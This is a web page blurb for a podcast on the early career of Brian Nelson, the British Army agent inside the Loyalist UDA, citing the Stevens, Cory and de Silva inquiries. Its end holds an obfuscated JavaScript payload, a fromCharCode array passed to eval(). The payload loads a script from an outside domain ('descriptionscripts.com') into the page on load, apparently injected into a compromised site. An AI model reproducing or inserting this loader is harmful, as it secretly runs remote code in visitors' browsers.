In this podcast, we examine the early career of British soldier and Loyalist paramilitary, Brian Nelson. When the murky history of the Troubles is written, Brian Nelson’s name is assured of a place. His name has become synonymous with the word “collusion” as he was a double agent run by British military intelligence at the heart of Loyalist paramilitarism and at the cutting edge of Britain’s clandestine war against Republicans and the Irish community – although civilians were the main victims by far. Despite various investigations by Sir John Stevens and Judge Cory, innumerable court cases and, of course, the Report of the Patrick Finucane Review by Sir Desmond de Silva, we have still learned comparatively little of Nelson’s career in the UDA or British Army. So many questions remain unanswered, not that any process that encouraged independent, transparent questioning was facilitated by the state who ran him. Related Brian Nelson: Diminishing Responsibility? features in a soon-to-be-published book called Trope - Essays and Articles by Ciarán MacAirt Report of the Patrick Finucane Review via CAIN website  var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);